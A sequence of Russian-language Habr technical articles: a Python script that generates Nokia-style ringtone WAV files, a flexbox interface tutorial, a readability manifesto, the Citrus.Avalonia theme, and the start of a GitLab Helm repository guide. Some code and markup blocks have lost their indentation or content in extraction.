Result = (32765*VOL*math.sin(6.28*FREQ*i/44100))
Frames.append(Result)
```
Во! Теперь мы можем генерировать звук абсолютно любой частоты.
**Осталось записать то, что получилось в wave — файл.**
Для работы с Wave в Python (по крайней мере в 2.7) есть прелестный модуль с незабываемым названием — **Wave**. А для работы со всяческими структурами — **struct** (вообще, до определенного момента, Python — безумно логичный язык).
После некоторых плясок с бубном и прочих извращений получилась вот такая функция:
```
def Write_Wave(Name):
File = wave.open(Name, 'w')
File.setparams((1, 2, 44100, 0, 'NONE', 'not compressed'))
Result = []
for frame in Frames:
Result.append(pack('h', frame))
for Each in Result:
File.writeframes(Each)
```
*(про нее рассказывать не буду, потому как во — первых все понятно, а во — вторых — не будем отдаляться от темы)*
Ну вот. Теперь можно сгенерировать звук!
**Пробуем.**
```
Frames = []
Append_Freq(1, 4000, 5000)
Write_Wave('Sound.wave')
```
Полная громкость, 4 килогерца, 5 секунд.
*Посмотрим что получилось?*
**Вот так это звучит:**
[5000Hz.wav](http://grakovne.org/ToHabr/5000hz.wav)
**А вот так выглядит:**
Ну, в общем — то, что хотели, то и получили. Звук, правда довольно неприятный.
*Кстати, если мне не изменяет память, что в старой библиотеке для Turbo Pascal звук задавался не синусоидой, а меандром. На самом деле достаточно просто изменять напряжение на динамике. Просто синусоида симпатичнее, чем меандр или пила.*
Ну вот. Теперь у нас есть функция генерирующая звук нужной частоты и длительности и функция, записывающая то, что мы наделали в настоящий файл.
**Теперь нужно научиться записывать ноты.**
Чистая (инструментально не окрашенная) **нота — это звук определенной частоты.**
Диез чистой ноты — звук, с частотой на **полтона выше чистой ноты**
Бе — моль — звук с частотой на полтона **ниже чистой ноты**. Бе — моли оригинальный Composer (еще помните, что мы там хотели написать? Отлично!) задавать не дает, поэтому с бе — молями работать не будем. Ну их.
Октава — если упрощенно, это **множитель частоты ноты**. То есть частота Ре второй октавы вдвое выше той же Ре первой октавы.
Найдем на просторах интернета таблицу нот и их частот
И сделаем из нее словарь.
**Вот такой:**
```
Notes = {"-" : 0 ,"C" : 261.626, "#C" : 277.183, "D" : 293.665, "#D" : 311.127, "E": 329.628, "#E" : 349.228, "F" : 349.228, "#F" : 369.994, "G" : 391.995, "#G" : 415.305, "A" : 440.000, "#A" : 466.164, "B" : 493.883, "#B" : 523.251}
```
*(Вообще, наверно, правильнее писать C#, а не #C, но как правило все мелодии для Composer'a указывались именно в таком формате)*
**А теперь напишем еще одну функцию, генерирующую звук определенной ноты**
```
def Append_Note(VOL, TIME, NOTE, OCTAVE):
for i in range(0,int(TIME/10.0*441)):
FREQ = Notes[NOTE]*OCTAVE
Result = (32765*VOL*math.sin(6.28*FREQ*i/44100))
Frames.append(Result)
#making clear sound
if (abs(math.sin(6.28*FREQ*i/44100))>0.01):
while (abs(math.sin(6.28*FREQ*i/44100))>0.01):
Result = (32765*VOL*math.sin(6.28*FREQ*i/44100))
Frames.append(Result)
i+=1
```
> *Так, тут надо еще кое — что дорассказать.*
>
>
>
> С первой частью все понятно — значение нужной частоты берется из словаря, домножается на октаву и пишется в список.
>
>
>
> Зачем нужна вторая?
>
>
>
> Очень просто. Если желаемая длительность не кратна периоду синусоиды, то в момент времени T1 на динамик может подаваться большое напряжение, а в T1+1 **уже ничего подаваться не будет**. На мой медвежий слух, это звучит как внезапно оборвавшаяся фраза убитого товарища — неприятно. Поэтому **мы доводим нашу синусоиду до ближайшего нуля**. При высокой частоте дискретизации заметно это будет мало, а на слух будет выглядеть как та же обрывающаяся фраза товарища, если на глазах мертвеющий (но вопящий) товарищ падает в колодец. Тоже не Бог весть что, но для генерации Нокиевских мелодий сгодится.
>
>
**Теперь осталось написать функцию, которая будет принимать список нот и поэлементно скармливать его генератору.**
```
def Append_Notes(VOL, LIST, BPM):
for Each in LIST:
(Duration, Tone, Octave) = Parse_Tone(Each)
try:
Append_Note(VOL, int(Duration*1000*7.5/BPM), Tone, Octave)
except:
print "Ошибка! Не могу обработать %s" %Each
Append_Note(0, int(250*7.5/BPM), "-", 1)
```
Приблизительно вот так.
> Снова что — то непонятно? Это нормально, ~~я тоже ничего не понимаю~~, сейчас разберемся.
>
>
>
> **BPM** — это количество ударов в минуту. Грубо говоря, это «скорость игры». Это самое **BPM равно количеству четвертных нот за одну минуту**. То есть одна четвертная нота должна играться **60/BPM** секунд. А поскольку, мы решили, что длительность единичной ноты у нас это 1/32 — это значение равно **60/32\*4/BPM = 7.5/BPM**. Звучит одна четвертная нота ровно 1000 миллисекунд (композиторы почему — то так придумали), а потом этот результат домножается еще и на количество таких 1/32 нот.
>
>
>
> Когда функция отработает в списке *Frame* окажется готовый файл, который останется только записать.
>
>
Ну и поскольку ~~мне лень писать GUI~~ я люблю консольные интерфейсы, напишем обработчик последовательности нот, который принимает эту последовательность, BPM и имя выходного файла в списке аргументов и скармливает функции Append\_Notes()
```
def MakeTune():
if (len(Arguments)!=3):
print 'ERROR!\n USAGE:\n Composer "Notes" BMP FileName\nExample:\n Composer "16c2 16#a1 4c2 2f1 16#c2 16c2 8#c2 8c2 2#a1 16#c2 16c2 4#c2 2f1 16#a1 16#g1 8#a1 8#g1 8g1 8#a1 2#g1 16g1 16#g1 2#a1 16#g1 16#a1 8c2 8#a1 8#g1 8g1 4f1 4#c2 1c2 16c2 16#c2 16c2 16#a1 1c2" 120 Music.wave'
return 1
List = Arguments[0].split(' ')
BPM = int(Arguments[1])
OutFile = Arguments[2]
print "\nFile information:\n\n Note number: %s\n Tempo: %s BPM\n\nGeneration of amplitude..." % (len(List), BPM)
Append_Notes(1, List, BPM)
print "\nOk!\n\nWriting Wave File..."
Write_Wave(OutFile)
File = open(OutFile,'rb').read()
Size = len(File)
print "\n File size: %.2f MB\n Duration: %.2f c. \n\nAll Done." % (Size/1024.0/1024, Size/44100/2)
```
Вот и все.
Теперь осталось только передать программе исходные данные и забрать готовую мелодию.
**Попробуем?**
**Ноты**16c2 16#a1 4c2 2f1 16#c2 16c2 8#c2 8c2 2#a1 16#c2 16c2 4#c2 2f1 16#a1 16#g1 8#a1 8#g1 8g1 8#a1 2#g1 16g1 16#g1 2#a1 16#g1 16#a1 8c2 8#a1 8#g1 8g1 4f1 4#c2 1c2 16c2 16#c2 16c2 16#a1 1c2
Вгоняем в генератор…
И забираем результат:
[output.wav](http://grakovne.org/ToHabr/Output.wav)
По — моему неплохо.
**Еще примеров? Легко!**
[Гимн СССР](http://grakovne.org/ToHabr/Athem.wav)
[Под небом голубым](http://grakovne.org/ToHabr/BG.wav)
[Осень](http://grakovne.org/ToHabr/DDT.wav)
[Рождественская мелодия (из оригинального 3310)](http://grakovne.org/ToHabr/Xmas.wav)
Хотите сами писать? Попробуйте!
**Вот ноты**4d1 4g1 8g1 8a1 8g1 8#f1 4e1 4c1 4e1 4a1 8a1 8b1 8a1 8g1 4#f1 4d1 4d1 4b1 8b1 8c2 8b1 8a1 4g1 4e1 8d1 8d1 4e1 4a1 4#f1 2g1
Вот темп: **200**
Пропустите через генератор и посмотрите что получится (А кто-то может и на глаз узнает).
[Скрипт генератора](http://grakovne.org/ToHabr/Composer.py)
**Надеюсь, вам понравилось!**
*Искренне Ваш, слушающий монофонического Моцарта, GrakovNe* | https://habr.com/ru/post/245917/ | null | ru | null |
# Flexbox для интерфейсов во всей красе: Реализация Tracks (Часть 2)
*Продолжаем перевод статьи smashingmagazine, в котором подробно рассмотрены все нюансы разработки интерфейсов с помощью flexbox на примере сайта [Tracks](http://buildtracks.com/)*.
[Часть 1](http://habrahabr.ru/company/paysto/blog/271195/)
#### Строчные формы ввода
Для разработчиков формы могут быть ночным кошмаром, особенно когда они тесно связаны со сложной сетчатой конструкцией, созданной в Photoshop. Шаблон «строчные метки», как я его называю, имеет такую же роль в нашей отрасли, как Fender Stratocaster в рок-музыке.
Как мы уже упоминали в предыдущем разделе, решите для себя, как ваш контент будет размещаться и занимать пространство в своем контейнере, когда изменится размер браузера или при использовании динамичного контента.
*Решите для себя, как будет размещаться контент. Слева табличное отображение выровнено вертикально к центру. Справа flexbox выравнивает элементы к центру.*
Эти скриншоты четко отражают ошибки, к которым может привести flexbox, если использовать динамичный или слишком длинный контент. Эффект, представленный на изображении справа – это то, что я называю «смещением центра», что означает, что контент сдвигается из центра за рамки вдоль осей x и y.
Вот разметка для шаблона inline label, приведенного на рис. 8.
```
…
…
```
Решением проблемы в данном случае может быть использование display: table; для более удобного управления длиной текста. Это позволяет контенту перетекать вниз, вместо того, чтобы вылазить за рамки центра.
```
.form-group {
display: flex;
}
.form-group label {
display: table;
vertical-align: middle;
}
.form-group input {
flex: 1;
}
```
Комбинирование flexboxа с таблицей – это неплохой способ, и я вам рекомендую изучить его более подробно. Когда вы комбинируете эти элементы, всегда проверяйте их в различных тестовых средах, чтобы вовремя обнаружить баги в раскладке.
Я видел много полей поиска, выполненных с помощью такого шаблона. Это очень гибкий шаблон, который можно использовать в огромном количестве макетов. Конечно, элементы CSS, которые могут вмешаться, такие как свойства, связанные с контекстом, и не относящиеся к общему шаблону, следует держать отдельно.
HTML здесь вполне стандартный и включает окружающий div для определения структуры flexboxа.
Вот как выглядит наш HTML:
```
Add
```
И CSS:
```
.form-group {
display: flex;
}
.form-group input {
flex: 1;
}
```
#### Выпадающее меню
Выпадающее меню состоит из колонки слева, содержащей вертикально центрированные пункты, расположенные строчно, и список пунктов справа, в котором каждый пункт списка расположен на своей строке.
*Меню для этого основного интерфейса было построено только с помощью flexboxа для раскладки.*
```
[Export](export-data.html)
[Get Help](help.html)
[Account](account.html)
[Preferences](preferences.html)
[Users](users.html)
[Payments](payment.html)
[Logout](logout.html)
```
CSS здесь простой и читабельный — именно такой, каким его любят видеть разработчики.
```
.menu {
display: flex;
}
.menu__options {
display: flex;
align-items: center;
}
.menu__items {
display: flex;
flex-direction: column;
}
```
С помощью всего нескольких строк кода получается идеальная раскладка. Кроме того, она отделяется от любой сетчатой структуры, а HTML и CSS имеют семантическое значение. Это еще один пример силы flexboxа, позволяющей избегать сложных тактик позиционирования и многословной разметки.
#### Медиа
*Использующих flexbox, SVG с фиксированной шириной располагается слева, а гибкий контент располагается рядом с ним.*
```
…
…
```
Вот как выглядит CSS:
```
.medi-obj {
display: flex;
align-items: flex-start;
}
.media-obj__body {
flex: 1;
}
```
*В этом примере изменения размера браузера ширина изображения установлена на максимум в 100%, а правой стороне задано гибкое значение, равное 1. Будьте осторожны с тем, как вы сочетаете фиксированную ширину и гибкие дочерние элементы.*
Flexbox отлично работает в таком виде шаблона, но будьте осторожны с тем, как ваш контент реагирует на прилегающее к нему содержимое, как это показано выше. В приведенном выше видео, как пространство графики сворачивается, а текст заходит поверх изображения. Этот пример может казаться глупым, потому что вряд ли кто-то решит настолько уменьшать ширину браузера, не так ли? Суть в том, что нам нужно понять, как контент относится к окружающему пространству, прежде чем мы начнем использовать flexbox.
Для этого шаблона я бы посоветовал задавать ширину изображений значением max-width: 100% всегда, когда они выстраиваются внутри гибкого родительского элемента, или задавать изображениям фиксированную ширину, и после этого использовать медиа-запросы, чтобы настроить их нужным образом.
#### Календарь
Как мы можем не попробовать использовать этот подход для создания календаря? Вероятно вы спросите «Почему не использовать таблицу?». В данном случае, календарь используется для выбора даты, поэтому я решил использовать кнопки для каждого дня, месяца и года, и привязать эти кнопки к рядам (каждый ряд недели в календаре заключен в div). Используя данный подход, мы получаем меньше разметки и более простую раскладку.
Разметка получается действительно прямолинейной и работает даже с управлением нумерацией в заголовке календаря.
```
Left Arrow
2015
Right Arrow
Jan
Feb
```
CSS — проще не бывает. Он понятен каждому, кто читает код, и достаточно краток при его написании.
```
.flex-container {
display: flex;
}
.datepicker__header {
justify-content: space-between;
}
.datepicker__view {
align-items: center;
justify-content: flex-start;
}
```
*В этом календаре с выбором по месяцам слева используется justify-content: space-between, а справа — justify-content: flex-start. Обе функции по-разному оформляют контент.*
Эти два примера четко показывают, почему все нужно планировать заранее. Как будет переноситься контент? Как он отреагирует на изменение размера области просмотра? Нужно ли переносить контент? Чтобы вывести правильную стратегию для контента, необходимо ответить на все эти вопросы.
#### Макет
Flexbox отлично подходит для элементов интерфейса, но он также отлично взаимодействует с определенными шаблонами.
**Пример макета. Боковая панель слева и основной контент справа – это идеальный сценарий для flexboxа. Также он напоминает мне технику фальшивых колонок.**
Код для этого макета реализуется очень просто, а дополнительный код, необходимый для запасных вариантов, минимален.
В разметке макета админки используется набор div-элементов, переносящих каждый контейнер, как показано выше.
```
…
…
…
```
```
.admin-ui__body {
display: flex;
}
.admin-ui__body nav {
flex: 30%;
}
.admin-ui__body main {
flex: 70%;
}
```
[Вот](http://codepen.io/dennisgaebel/pen/mJgvBp) отличный запасной вариант для нашего макета. Шаблон не включает сложной сетчатой структуры. Плюс наш старый друг display: table готов помочь нам, когда это будет необходимо.
Элемент display: table-cell – это мощный инструмент CSS, который появился во времена CSS 2 и является идеально надежным запасным вариантом для такого случая. Значение заставляет элемент вести себя как табличный элемент, что представляет собой именно то поведение, которое нам нужно, чтобы воссоздать версию flexboxа. Также вы можете изменить порядок с помощью таблицы, используя такие объявления, как display: table-header-group и display: table-footer-group.
#### Фиксированный footer
Фиксированные footer — это один из обрядов посвящения в опытные веб-дизайнеры, в котором footer должен быть размещен в нижней части области просмотра. Если контент добавляется, он может сдвинуть footer вниз, но в любом другом случае footer всегда должен быть в нижней части области просмотра.
*Фиксированный footer в правой боковой панели*
Вот как выглядит разметка правой боковой панели:
```
Save Deal
…
Copy
Delete
```
И вот как выглядит CSS:
```
.admin-edit {
display: flex;
flex-direction: column;
justify-content: space-between;
}
```
[Вот](http://codepen.io/dennisgaebel/pen/LVvqOx) отличный запасной вариант для фиксированных футеров во flexboxе, который также сохраняет раскладку во всех версиях, вплоть до IE 6.
Еще одной частью раскладки, в которой я пробовал использовать flexbox, стал основной вид приложения, или его еще называют «трубопроводом» приложения. Каждая карточка имеет определенную ширину и использует свойство flex. Это задает каждой карточке равномерные определенные пропорции.
Flexbox позволяет аккуратно разместить контент в каждой карточке. Все приложение – это одна большая версия раскладки как в фильме «Начало», в которой flexbox содержит flexbox, который содержит мелкие атомы и молекулы, использующие flexboxы. Это кажется невероятным, когда вы задумываетесь о том, насколько тяжело разработчикам было раньше центрировать элементы, а сегодня мы делаем это с помощью всего лишь нескольких строк кода.
#### Будьте осторожны
В процессе тестирования браузеров мы обнаружили, что сочетание свойства flex с другими свойствами расстояния, такими как отступы, приводит к багам при отображении страницы в IE 10
```
.parent {
display: flex;
}
.parent .child {
flex: 1;
padding: 20px; /* Нарушает раскладку в IE 10 */
}
```
Когда родительская оболочка модуля, заданная с помощью display: flex, имеет дочерние элементы, в которых используется свойство flex наравне с padding или margin, в IE 10 возникают ошибки.
Запрос функции @supports (display: flex) {} может являться чем-то вроде [Modernizr](https://modernizr.com/), но будет реализован с использованием родного CSS. К сожалению, поддержка @supports достаточно слаба на данный момент, а потому этого варианта следует избегать. Вместо него, вот вам несколько советов по запасным вариантам:
* Используйте класс no-flexbox из Modernizr для поиска свойств
* Используйте transform или табличное отображение для центрирования.
* Используйте табличное отображение.
* Контролируйте порядок с помощью свойств табличного отображения, таких как table-caption, table-header-group и table-footer-group.
* Используйте floats в качестве запасного варианта для всех структур.
* Используйте строчность или строчные блоки в качестве запасного варианта отображения для строчных шаблонов.
* Используйте условные комментарии для IE 9 и более старых версий, чтобы создать оформление без flexbox.
---
**Платежные решения Paysto для читателей Хабра:** → [Получите оплату банковской картой прямо сейчас. Без сайта, ИП и ООО.](http://linkcharge.ru/email)
→ [Принимайте оплату от компаний через Интернет. Без сайта, ИП и ООО.](http://linkcharge.ru)
→ [Приём платежей от компаний для Вашего сайта. С документооборотом и обменом оригиналами.](http://linkcharge.ru/api)
→ [Автоматизация продаж и обслуживание сделок с юр.лицами. Без посредника в расчетах.](http://linkcharge.ru/automat) | https://habr.com/ru/post/271397/ | null | ru | null |
# Критерии 100% читаемости сайтов
Перевод статьи Oliver Reichenstein «[The 100% Easy-2-Read Standard](http://informationarchitects.jp/100e2r/)».
Большинство сайтов доверху наполнены мелким текстом, который больно читать. Но зачем? Нет причины вжимать так много информации в экран. Это глупая коллективная ошибка, которая относится к временам когда экраны были действительно маленькими. Так что…
> 
>
> *Экран и журнал: 100%-размер шрифта — это не много. Фотограф: Wilson Miner.*
#### Не заставляйте нас изменять размер шрифта
Мы не хотим изменять настройки браузера каждый раз когда посещаем новый сайт!
#### Не говорите что переполненные сайты выглядят лучше
Переполненные сайты не выглядят хорошо: они выглядят скверно. Захламление страниц всем подряд никогда не улучшало юзабилити. Будучи ленивыми, вы закидываете нас всей информацией без разбора. Мы же хотим чтобы вы подумали и отобрали лишь наиболее важное. Мы не хотим делать вашу работу.
#### Не говорите что прокрутка страниц — это плохо
Потому что тогда получается, все сайты плохие. В прокрутке нет ничего дурного. Так же как нет ничего дурного и в листании страниц книги.
#### Не говорите что текст неважен
95% веб-дизайна — это типографика ([eng](http://www.informationarchitects.jp/the-web-is-all-about-typography-period)).
#### Не заставляйте нас носить очки
Вместо этого, уберите голову от монитора, откиньтесь назад и продолжите чтение *(видимо, своего сайта)* в расслабленной позе.
### Пять простых правил
#### 1. Оставьте размер шрифта для основного текста как есть
Размер шрифта который вы читаете сейчас не есть большой. Это тот размер который браузер использует по-умолчанию *(имеется ввиду [сайт автора](http://informationarchitects.jp/100e2r/), но ведь врёт, редиска!)*.
Мы не хотим нажимать на кнопки «больше/меньше» или изменять настройки браузера. Мы хотим сразу же начать читать.
Вначале, создать хороший макет с большими шрифтами более сложно, но эти сложности помогут вам спроектировать более простой и ясный сайт ([eng](http://www.informationarchitects.jp/simplicity)). Наполнить сайт кучей информацией несложно, в отличии от того как сделать сайт проще в использовании. Сперва вы будете шокированы, насколько велик размер шрифта, но через день не захотите видеть для основного текст размер меньший чем 100% *(от того что в настройках)*. Выглядит большевато на первый взгляд, но после того как вы станете использовать это, вы быстро поймёте почему создатели всех браузеров выбрали такой размер шрифта по умолчанию.
#### 2. Пустое пространство — активный элемент дизайна
Позвольте вашему тексту дышать. Использование пустого пространства — это не прихоть отдельного дизайнера и не имеет отношения к чувству прекрасного ([eng](http://www.informationarchitects.jp/the-web-is-all-about-typography-period)).
> *«Ширина колонки должна быть пропорциональна размеру шрифта. Чересчур широкие колонки утомляют глаза и ещё имеют некоторый* (какой же?) *неблагоприятный психологический эффект. Чересчур сжатые тоже могут мешать, потому что прерывают процесс чтения и фрустрируют читателя, заставляя глаза сменять строку слишком часто.»*
>
> Josef Muller-Brockmann, Grid Systems
Использование пустого пространства уменьшает уровень напряжения, так как позволяет проще фокусироваться на главном. Вам не надо заполнять всё окно браузера. То что пустое простанство делает сайт приятнее — не случайный эффект: это логичное следствие конструктивного дизайна. Кто сказал что сайты должны быть наполнены подзавязку?
> Muller-Brockmann: *«Вопрос о ширине колонки — это вопрос не только дизайна или формата сайта; вопрос доходчивости не менее важен.»*
Пожалуйста, убедитесь что колонка не слишком широка и что вы добавили пустого места слева и справа чтобы глазу проще было прыгать (с одной части страницы нга другую). Мы (пользователи) не хотим менять размер шрифта или окна. Мы хотим сразу начать его читать. Разумное регулирование колонки по ширине это славно; некончающиеся строки текста поперёк экрана — нет.
> 
>
> *Король юзабилити, Якоб Нильсен, недавно добавил путого пространства на своём сайте и ограничил максимальную ширину контента (левая картинка). В прежней версии (картинка справа) статья расширялась на всё окно. Немного увеличить межстрочное расстояние, и ты будушь совершенен, Якоб.*
Простое правило: по 10-15 слов в строке *(это для английского языка; для русского, где слова в среднем длиннее, стоит взять величину поменьше)*. Для резиновой вёрстки, при 100% величины шрифта, половина окна для основной колонки будет хорошим решением на большинстве разрешений экрана.
#### 3. Поменяйте высоту строки на удобную для чтения
Вот что говорят специалисты по чтению *(именно так)*:
> *Строки текста, расположенные слишком тесно, ухудшают скорость чтения потому что в таком случае соседние линии считываются одновременно. Глаз не может фокусироваться на чрезмерно близких строках и … читатель тратит энергию в неправильном месте и утомляется быстрее. Всё то же остаётся правдой и для строк, которые слишком далеко отстоят друг от друга.*
Межстрочное расстоние в HTML слишком мало по умолчанию. Если вы увеличите его, текст станет более легко читаемым. 140% будет в самый раз.
#### 4. Используйте контрастные цвета
Об этом даже необязательно говорить. Но если вы используете любую из нижеследующих комбинаций:
— светло-серый текст на тёмно-сером фоне
— серебряный текст на снежно-белом фоне
— серый на жёлтом
— жёлтый на красном
— зелёный на красном и так далее…
… значит вы не веб-дизайнер, а всего-лишь [дизайнер-самодур](http://www.informationarchitects.jp/why-designers-have-an-attitude) *(так я перевёл «with an attitude», спасибо комментаторам)*. Если вы настаиваете на бытии своём веб-дизайнером, то должны знать что никто даже не сможет прочитать что вы написали. Прекратите этот абсурд и позвольте людям прочитать то что вы пишете. Заметьте, для экранного дизайна наиболее сильный контраст тоже неидеален, так как буквы начинают мерцать *(flicker; кажется, имеется ввиду неравномерность отрисовки)*. Попробуйте #333 на фоне #fff.
#### 5. Нет тексту в изображениях!
Мы хотим искать текст, копировать текст, сохранять текст, играть курсором и выделять/помечать его пока читаем. Текст в изображениях выглядит приятно, но приятность — не то для чего существует интернет ([eng](http://www.useit.com/alertbox/20020819.html)). Он существует для общения и доступа к информации, и эту информацию должно быть легко читать, масштабировать, цитировать, копировать и передавать.
Если вы не можете сделать сайт, хорошо выглядящий без текста облачённого в изображения, вы должны будете начать *(учиться, что ли?)* с самого начала.
### Расскажите об этом людям
Если вы хотите чтобы больше сайтов стали удобнее для чтения, расскажите об этом манифесте другим. Поставьте у себя на сайтах, в блогах ссылку на эту страницу, чтобы люди знали как сделать их сайты читабельнее.
\_\_\_\_ от переводчика \_\_\_\_
Firefox 3.0.5 позволяет не зависеть от желаний дизайнеров, он прозрачно запоминает настройки zoom для каждого сайта (раньше был нужен аддон «No Squint»).
[Ростислав Чебыкин](http://chebykin.livejournal.com/) в своей книге упоминает что в CSS размер шрифта (кегль) предпочтительнее указывать как `font-size: 1em;` для нашего случая. Стандартные именованные обозначения (`large, medium, small`) и проценты (`font-size: 100%;`) не годятся потому что в некоторых случаях могут привести к различному отображению текста.
Автору статьи, Oliver'у, неплохо бы самому задуматься над такими проблемами в readability своего сайта как:
а) сильные затруднения при поиске посещённой ссылки в тексте (почти не отличается от основного текста),
б) трудно прочитать дату написания статьи и комментариев — их там просто нет. | https://habr.com/ru/post/48862/ | null | ru | null |
# Citrus: Набор стилей для AvaloniaUI
В комментариях к новостям об изменениях и улучшениях в новых версиях кроссплатформенного GUI-фреймворка [AvaloniaUI](http://github.com/avaloniaui) довольно часто можно увидеть [критику](https://habr.com/ru/post/349394) тем оформления, используемых по умолчанию. Дело в том, что данные темы были созданы на основе Metro — художественного стиля оформления графического интерфейса, используемого в Windows 8 и Windows 8.1. Данный стиль обрёл как поклонников, так и противников. Темы оформления [MahApps.Metro](https://github.com/MahApps/MahApps.Metro) для WPF по-прежнему остаются одними из наиболее популярных, имея более [6 с половиной тысяч звёзд на GitHub](https://github.com/MahApps/MahApps.Metro/stargazers), догоняя [MaterialDesignInXaml](https://github.com/MaterialDesignInXAML/MaterialDesignInXamlToolkit) с его 8-ю тысячами поклонников.
Поскольку в Avalonia тема оформления является обособленным компонентом и может быть совершенно безболезненно заменена на любую другую, имело смысл порадовать противников Metro и сделать альтернативный набор стилей. Стоит заметить, что силами сообщества уже была изготовлена alpha-версия темы [Material](https://habr.com/ru/news/t/475256/) с переключателями и [анимациями](https://github.com/Roflyanochka/AvaloniaRipple), поэтому в процессе было решено попробовать задизайнить велосипед в современном плоском стиле. В Avalonia 0.9.0 была добавлена [поддержка сенсорного ввода](https://habr.com/ru/post/481102/), поэтому было бы неплохо улучшить UX для пользователей с сенсорными экранами. В результате получилась тема [Citrus.Avalonia](https://github.com/worldbeater/citrus.avalonia).
### Начало работы
Для подключения [тем оформления](https://habr.com/ru/post/471046/) в Avalonia обычно достаточно установить интересующий пакет NuGet и добавить одну или две строчки в секцию `Styles` файла `App.xaml`, если необходимо перекрасить всё приложение сразу. Если нужно изменить оформление только одного окна или другого элемента управления, добавьте теги в секцию `Window.Styles` или `UserControl.Styles` соответственно. Для подключения темы `Citrus.Avalonia` установим необходимый [пакет](https://www.nuget.org/packages/Citrus.Avalonia/):
```
dotnet add package Citrus.Avalonia
```
Затем, изменим файл `App.xaml` нашего приложения:
```
```
### Использование новых стилей
После установки темы, стили всех элементов управления по умолчанию будут изменены. Дополнительно, станут доступны несколько дополнительных классов, например, для карточек. Примеры вёрстки можно найти в [песочнице](https://github.com/worldbeater/Citrus.Avalonia/blob/master/src/Citrus.Avalonia.Sandbox/MainWindow.xaml), в файле [`MainWindow.xaml`](https://github.com/worldbeater/Citrus.Avalonia/blob/master/src/Citrus.Avalonia.Sandbox/MainWindow.xaml). Таким образом, рендер следующей XAML-разметки:
```
```
Будет иметь вид:
### Цветовые палитры
В пакете `Citrus.Avalonia` доступно несколько цветовых схем: `Citrus`, `Sea`, `Rust`, `Candy`, `Magma`.
При желании Вы можете создавать свои собственные цветовые схемы, подключив свою цветовую палитру в секцию `Application.Styles`. В качестве основы можно взять файл темы [`CitrusPalette.xaml`](https://github.com/worldbeater/Citrus.Avalonia/blob/master/src/Citrus.Avalonia/Palette/CitrusPalette.xaml), изменить цвета на свой вкус и подключить его в проект, как `AvaloniaResource`. Между прочим, если добавить следующие строки в файл проекта (`.csproj`), то все `xaml`-файлы в папке с проектом будут встроены в сборку, как ресурсы Avalonia:
```
%(Filename)
Designer
```
Для подключения собственной палитры измените `App.xaml.cs` следующим образом:
```
```
### Динамическое переключение тем
В случае, если Вы хотите предложить пользователям своего приложения выбирать тему оформления, одним из вариантов реализации такого поведения может стать переопределение ресурсов корневого окна. Например, так:
```
var theme = "avares://Citrus.Avalonia/Citrus.xaml";
var self = new Uri("resm:Styles?assembly=Citrus.Avalonia.Sandbox");
var include = new StyleInclude(self) {
Source = new Uri(theme)
};
// При изменении коллекции window.Styles все кисти,
// используемые внутри окна, на которое ссылается
// переменная window, будут обновлены.
window.Styles.Add(include);
```
Такая логика может быть, например, инкапсулирована в [сервис](https://github.com/worldbeater/Citrus.Avalonia/blob/master/src/Citrus.Avalonia.Sandbox/StyleManager.cs).
### Задачи, которые можно порешать
В настоящее время стиль Metro, упомянутый в начале статьи, и подключённый в Avalonia по умолчанию, эволюционировал в систему [Fluent Design](https://www.microsoft.com/design/fluent/#/) и теперь используется в продуктах Microsoft, включая операционную систему Windows 10 и приложения Office для Android и iOS. Поэтому если Вы вдруг захотите сделать свою тему оформления для приложений Avalonia, можно начать эксперименты с портирования Fluent Design. Упражняться можно на [standalone каталоге](https://github.com/AvaloniaUI/ControlCatalogStandalone) элементов управления.
Исходный код темы `Citrus.Avalonia` доступен на [GitHub](https://github.com/worldbeater/citrus.avalonia), PR с исправлениями визуальных багов категорически приветствуются. Поддержку от разработчиков Avalonia и всех сочувствующих можно получить в [Telegram (ru)](http://t.me/avalonia) и [Gitter (en)](https://gitter.im/AvaloniaUI/Avalonia), а документация по стилизации элементов управления доступна [тут](https://avaloniaui.net/docs/styles/styles). | https://habr.com/ru/post/487000/ | null | ru | null |
# Используем GitLab в качестве удобного Helm-репозитория
GitLab – это мощный и в то же время простой инструмент для организации проектов. Как и любой крупный и самодостаточный продукт, GitLab постоянно развивается и дорабатывается. И сегодня хотелось бы обсудить новый функционал, который пока ещё находится в разработке, но уже доступен для использования. Речь идёт о поддержке размещения Helm-чартов в GitLab Package Registry. Для простоты далее я буду называть его GitLab Helm repo.
Зачастую основой для описания инфраструктуры, запускаемой в Kubernetes, являются Helm-чарты. Поэтому при работе команды инженеров с большим количеством проектов невольно приходят мысли о стандартизации подходов работы с этими чартами. С появлением [GitLab 14.1](https://about.gitlab.com/releases/2021/07/22/gitlab-14-1-released/) появилась возможность настраивать хранение общих чартов для всех проектов, с которыми ведется работа.
Немного про концепцию
---------------------
До появления соответствующего функционала в GitLab для подобных задач можно было использовать, например, ChartMuseum или вовсе не иметь единого хранилища для чартов, а хранить исходники манифестов прямо в репозитории с кодом приложения. Конечно, с точки зрения функциональности это не имело каких-то явных недостатков, но в смысле стандартизации подхода оформления проектов со временем — по мере увеличения количества проектов — всё превращалось в большую кашу.
С использованием же GitLab Helm repo можно иметь один репозиторий в корпоративном GitLab, в котором хранить общие Helm-чарты для часто используемых компонентов инфраструктуры и элементов «кубернетизации» приложений. Например, Helm-чарт для stateless-приложений, который из коробки включает в себя манифесты для полной настройки следующих ресурсов Kubernetes:
* Deployment;
* ConfigMap;
* Secret;
* Service;
* HPA;
* VPA;
* PDB.
Представьте: у вас есть только `values.yaml`, где описана вся логика работы приложения, а все нужные манифесты отрендерятся сами при деплое.
Как это работает? Когда вы устанавливаете и настраиваете GitLab для нового проекта, у него создаётся «дочерний» репозиторий. Его CI завязан на подключение к вашему корпоративному хранилищу, скачивание из него последних актуальных версий Helm-чартов и повторный push в локальный репозиторий проекта. Такое простое взаимодействие даёт возможность модернизировать, дорабатывать и фиксить все компоненты в одном месте, а дочерние репозитории сами подтянут актуальные изменения. Кроме того, таким образом намного ближе становится решение вопроса о стандартизации подхода при оформлении новых проектов.
Реализация основного репозитория
--------------------------------
Пошагово поднимем несколько репозиториев, и я наглядно покажу, как можно организовать взаимодействие между ними. Скажу наперёд, в CI будем использовать [werf](https://werf.io/).
> Использование werf для реализации идеи, рассматриваемой в статье, не является обязательным, но, так как этот инструмент обеспечивает комплексный подход для работы с сабчартами и мы владеем огромной экспертизой в нём, то весь процесс становится проще.
>
>
Приступим к созданию «главного» репозитория, в котором будут храниться общие Helm-чарты.
1. Создаём новый репозиторий:
2. Создаём структуру каталогов и базовые файлы для организации CI/CD:
```
.
├── .gitlab-ci.yml
├── .helm
│ ├── Chart.lock
│ ├── charts
│ │ └── my-chart
│ │ ├── Chart.yaml
│ │ ├── templates
